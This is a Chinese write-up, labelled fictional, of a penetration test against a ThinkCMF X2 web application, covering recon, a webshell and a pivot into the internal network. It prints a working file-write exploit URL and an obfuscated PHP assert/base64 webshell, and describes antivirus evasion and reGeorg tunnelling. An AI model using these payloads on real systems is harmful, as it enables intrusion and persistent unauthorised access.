记一次拟真环境的模拟渗透测试
记一次拟真环境的模拟渗透测试
注:此文为虚构,如有雷同实属巧合。
本文仅用于记录,Web打点,内网横向一些很常规化的东西。
目标站:http://vuln_attack/
任务:权限、横向
前·信息收集(踩点)
- 端口开放
- 80 - HTTP
- 3389 - RDP
- 指纹
- ThinkCMF
- PHP/5.6.36
- IIS
- 目录探测(只探测状态码为301、302、200)
- http://vuln_attack:80/admin (后台)
- http://vuln_attack:80/admin/themes/
- http://vuln_attack:80/api
- http://vuln_attack:80/aspnet_client (IIS结构)
- http://vuln_attack:80/data
- http://vuln_attack:80/data/logs/
- http://vuln_attack:80/data/upload/
- http://vuln_attack:80/data/backup/
- http://vuln_attack:80/data/conf/
- /index.html
- /config.php
- /db.php
- http://vuln_attack:80/plugins
- http://vuln_attack:80/public
- http://vuln_attack:80/test (PHPINFO)
- /log.txt
- /0.php
- /1.php
- /00.php
- /01.php
- /02.php
- /03.php
- /04.php
- /05.php
- http://vuln_attack:80/themes
- http://vuln_attack:80/update
- http://vuln_attack:80/application
- http://vuln_attack:80/cust
- http://vuln_attack:80/re (500)
- http://vuln_attack:80/rp (500)
- http://vuln_attack:80/www.rar (网站备份源码)
- http://vuln_attack:80/index.php
- http://vuln_attack:80/license.txt
- http://vuln_attack:80/admin (后台)
- 其他收集 通过下载
www.rar
文件获得网站备份源码获得的信息- 寻找密码
grep -i -r "pwd' => '" ./
结果:- sxxxx3
- rxxxx3
grep -i -r "pass' => '" ./
结果:无grep -i -r "password' => '" ./
结果:无
- 寻找密码
中·渗透打入
ThinkCMFx2 0day Get Webshell
-
已知该系统业务为ThinkCMF,且通过泄露的源码文件中得知版本为x2.0.0
define("SIMPLEWIND_CMF_VERSION", 'X2.0.0');
使用ThinkCMF的GetWebshell的Exp打一波(结果:未成功)
访问
r.php
是404的:但在本地搭建测试的时候是可以写入的(Exploit:
/index.php?xxx=file_put_contents('r.php','<?php%20eval($_REQUEST[r]);')
):思考: a.是否可以写入但被删除 b.exp是否被拦截
-
修改exp为
/index.php?xxx=file_put_contents('1.txt','123')
:写入1.txt
内容为123
结果: 上传成功访问存在,可利用exp写文件
-
修改exp为
/index.php?xxx=file_put_contents('1.php','123')
:写入1.php
内容为123
结果: 上传成功访问存在,可利用exp写PHP文件
-
修改exp为
/index.php?xxx=file_put_contents('1.php','<?php+$a="assert";$a(base64_decode(@$_REQUEST[k]));?>')
简单的写了一个绕过的PHP一句话脚本木马:
<?php $a="assert";$a(base64_decode(@$_REQUEST[k]));?>
结果: 上传成功访问存在,Webshell拿下
-
接下来我们进入后深入阶段。
后·深入
主机信息收集
域环境判断
- net user /domain
查看域内的用户(此处用来判断是否有域环境)
- 结果:此处非域环境
这项请求将在域 WORKGROUP 的域控制器处理。 发生系统错误 1355。 指定的域不存在,或无法联系。
信息收集
- whoami /all
查看当前用户
用户信息 ---------------- 用户名 SID ================= ======== nt authority/iusr S-1-5-17 组信息 ----------------- 组名 类型 SID 属性 ==================================== ====== ============ ============================== Mandatory Label/High Mandatory Level 标签 S-1-16-12288 Everyone 已知组 S-1-1-0 必需的组, 启用于默认, 启用的组 BUILTIN/Users 别名 S-1-5-32-545 必需的组, 启用于默认, 启用的组 NT AUTHORITY/SERVICE 已知组 S-1-5-6 只用于拒绝的组 控制台登录 已知组 S-1-2-1 必需的组, 启用于默认, 启用的组 NT AUTHORITY/Authenticated Users 已知组 S-1-5-11 必需的组, 启用于默认, 启用的组 NT AUTHORITY/This Organization 已知组 S-1-5-15 必需的组, 启用于默认, 启用的组 LOCAL 已知组 S-1-2-0 必需的组, 启用于默认, 启用的组 特权信息 ---------------------- 特权名 描述 状态 ======================= ==================== ====== SeChangeNotifyPrivilege 绕过遍历检查 已启用 SeImpersonatePrivilege 身份验证后模拟客户端 已启用 SeCreateGlobalPrivilege 创建全局对象 已启用
- net user
查看用户
// 的用户帐户 ------------------------------------------------------------------------------- Administrator Guest MYSQL_SF_xxxx 命令运行完毕,但发生一个或多个错误。
- net localgroup administrators
查看本地管理员用户
别名 administrators 注释 管理员对计算机/域有不受限制的完全访问权 成员 ------------------------------------------------------------------------------- Administrator 命令成功完成。
- ipconfig /all
查看本机IP、DNS信息、DHCP服务器信息等
- 结果:此处查看发现并不是内网IP段
Windows IP 配置 主机名 . . . . . . . . . . . . . : WIN-xxx 主 DNS 后缀 . . . . . . . . . . . : 节点类型 . . . . . . . . . . . . : 混合 IP 路由已启用 . . . . . . . . . . : 否 WINS 代理已启用 . . . . . . . . . : 否 以太网适配器 xxxx.133: 连接特定的 DNS 后缀 . . . . . . . : 描述. . . . . . . . . . . . . . . : Microsoft Hyper-V 网络适配器 物理地址. . . . . . . . . . . . . : xx-xx-xx-xx-xx-xx DHCP 已启用 . . . . . . . . . . . : 否 自动配置已启用. . . . . . . . . . : 是 本地链接 IPv6 地址. . . . . . . . : xxx%11(首选) IPv4 地址 . . . . . . . . . . . . : xxxx.133(首选) 子网掩码 . . . . . . . . . . . . : 255.255.255.192 默认网关. . . . . . . . . . . . . : xxxx.190 DHCPv6 IAID . . . . . . . . . . . : 234886493 DHCPv6 客户端 DUID . . . . . . . : xxxx DNS 服务器 . . . . . . . . . . . : xxxx.151.161 xxxx.156.66 TCPIP 上的 NetBIOS . . . . . . . : 已启用 ...
- arp -a
查看arp的缓冲记录(获取存活的IP地址)
ARP缓存是个用来储存IP地址和MAC地址的缓冲区,其本质就是一个IP地址–>MAC地址的对应表,表中每一个条目分别记录了网络上其他主机的IP地址和对应的MAC地址。每一个以太网或令牌环网络适配器都有自己单独的表。
接口: xxxx.133 --- 0xb Internet 地址 物理地址 类型 xxxx.129 xx-xx-xx-xx-xx-xx 动态 xxxx.135 xx-xx-xx-xx-xx-xx 动态 xxxx.149 xx-xx-xx-xx-xx-xx 动态 xxxx.150 xx-xx-xx-xx-xx-xx 动态 xxxx.168 xx-xx-xx-xx-xx-xx 动态 xxxx.190 xx-xx-xx-xx-xx-xx 动态 xxxx.191 xx-xx-xx-xx-xx-xx 静态 ...
- tasklist
查看系统任务进程
- 结果:发现存在SafeDog安全防护软件
tasklist 映像名称 PID 会话名 会话# 内存使用 ========================= ======== ================ =========== ============ System Idle Process 0 0 24 K System 4 0 5,184 K smss.exe 288 0 1,156 K mysqld.exe 1396 0 839,672 K SafeDogGuardHelper.exe 6476 2 18,220 K SafeDogGuardHelper.exe 9536 2 11,748 K ...
主机提权
- systeminfo
查看系统信息
主机名: WIN-xxxx OS 名称: Microsoft Windows Server 2008 R2 Datacenter OS 版本: 6.1.7601 Service Pack 1 Build 7601 OS 制造商: Microsoft Corporation OS 配置: 独立服务器 OS 构件类型: Multiprocessor Free 注册的所有人: Windows 用户 注册的组织: 产品 ID: xxxx 初始安装日期: 2018/5/9, 22:50:59 系统启动时间: 2018/8/31, 9:38:26 系统制造商: Microsoft Corporation 系统型号: Virtual Machine 系统类型: x64-based PC 处理器: 安装了 1 个处理器。 [01]: Intel64 Family 6 Model 63 Stepping 2 GenuineIntel ~2500 Mhz BIOS 版本: American Megatrends Inc. 090006 , 2012/5/23 Windows 目录: C:/Windows 系统目录: C:/Windows/system32 启动设备: /Device/HarddiskVolume1 系统区域设置: zh-cn;中文(中国) 输入法区域设置: zh-cn;中文(中国) 时区: (UTC+08:00) 北京,重庆,香港特别行政区,乌鲁木齐 物理内存总量: 8,192 MB 可用的物理内存: 4,779 MB 虚拟内存: 最大值: 16,381 MB 虚拟内存: 可用: 12,977 MB 虚拟内存: 使用中: 3,404 MB 页面文件位置: C:/pagefile.sys 域: WORKGROUP 登录服务器: 暂缺 修补程序: 暂缺 网卡: 安装了 1 个 NIC。 [01]: Microsoft Hyper-V 网络适配器 连接名: xxxx.133 启用 DHCP: 否 IP 地址 [01]: xxxx.133 [02]: xxxxx
根据获取的系统信息判断可使用的提权Exploit,尝试上传提权Exploit,运行即被杀:
C:/APP/www/>exp.exe 'exp.exe' 不是内部或外部命令,也不是可运行的程序 或批处理文件。
通过之前的信息收集知道存在”安全狗”防护软件,发现被杀的Exp都存放在C:/SafeDogRecycle/
目录下,文件被随机命名:
C:/SafeDogRecycle 的目录 <DIR> . <DIR> .. 02ebe5a9-1abf-4f85-839c-2b74deebb02f ...
后经测试发现将Exploit存在C:/SafeDogRecycle/
目录部分行为并不会被杀,但敏感行为还是会被Kill掉。
本地搭建服务器安全狗,利用修改特征码的方式进行免杀,但即使Bypass了安全狗,Exploit也无法执行,补丁已经打上了。
利用收集到的口令进行字典的整合,猜测管理员密码也无解~
结果: 提权失败
横向
地址:
xxxx.129 xxxx.135 xxxx.149 xxxx.150 xxxx.168 xxxx.190 xxxx.191
端口扫描仅仅发现xxxx.129
、 xxxx.135
存在着服务
xxxx.135
访问该站点发现其为IIS8.5
经探测并无什么有价值性的东西。
xxxx.129
访问该站点发现到了其他的一个站点,这个站点也为ThinkCMFX2,使用上文所述方法拿下WebShell。
环境: Linux
内核: Linux izbp15gn5pyr1s5tlc45h0z 3.10.0-693.2.2.el7.x86_64
权限: www
网络环境: 内网
经过测试发现本机用户权限真的很低,gcc
之类的操作都没权限进行,尝试使用suid提权也无果,就连反弹个shell都提示bash: /bin/sh: Permission denied
,醉了~
放弃提权,reGeorg+Proxifier 代理进内网撸一波~
结果:发现一个内网主机存活,ThinkCMFX2又撸下来了
终·其他缺陷
对发现的其他安全缺陷做记录是一件很有必要的事情,为防止单个漏洞被修复,也为了下次更好的“进来”。
前台登录万能密码后门
文件/application/Cust/Controller/LoginController.class.php
第214行:
在做登录验证的时候有一个条件:$password=='xxxx@123'
,前台登录只需要满足密码等于xxxx@123
即可实现任意用户的登录。
总结
文章比较常规,总结一句话就是:渗透的前期信息打点很重要,信息的收集要做到细致,就像你看某小电影一样每个高潮的细节都不会放过~
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论